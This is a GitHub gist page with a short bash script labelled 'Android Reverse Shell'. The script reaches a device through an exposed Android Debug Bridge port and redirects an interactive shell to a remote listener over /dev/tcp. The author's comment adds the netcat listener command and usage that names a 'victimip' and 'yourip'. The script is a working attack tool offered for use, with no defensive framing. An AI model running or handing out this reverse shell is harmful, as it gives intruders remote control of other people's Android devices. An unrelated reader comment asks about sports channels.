Skip to content

Instantly share code, notes, and snippets.

@random-robbie
Last active March 4, 2024 20:08
Show Gist options
  • Star 19 You must be signed in to star a gist
  • Fork 7 You must be signed in to fork a gist
  • Save random-robbie/4d6264cfadc7d716cd28ba29e424f62d to your computer and use it in GitHub Desktop.
Save random-robbie/4d6264cfadc7d716cd28ba29e424f62d to your computer and use it in GitHub Desktop.
Android Reverse Shell
#!/bin/bash
# Simple reverse shell on android devie using Android Debug Bridge ensure you run nc -lvp 4444 on another screen first.
# By Random_Robbie
adb connect $1:5555
adb shell sh -i >& /dev/tcp/$2/4444 0>&1
echo "[*] Should have a shell now ..... Be nice :) [*]"
@random-robbie
Copy link
Author

random-robbie commented Jun 9, 2018

Requires ADB installed first

Need to run NC fist

nc -lvp 4444

Example

./android-shell.sh victimip yourip

@alappat
Copy link

alappat commented Jun 22, 2018

please try sky sports and Indian channels language malayalam

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment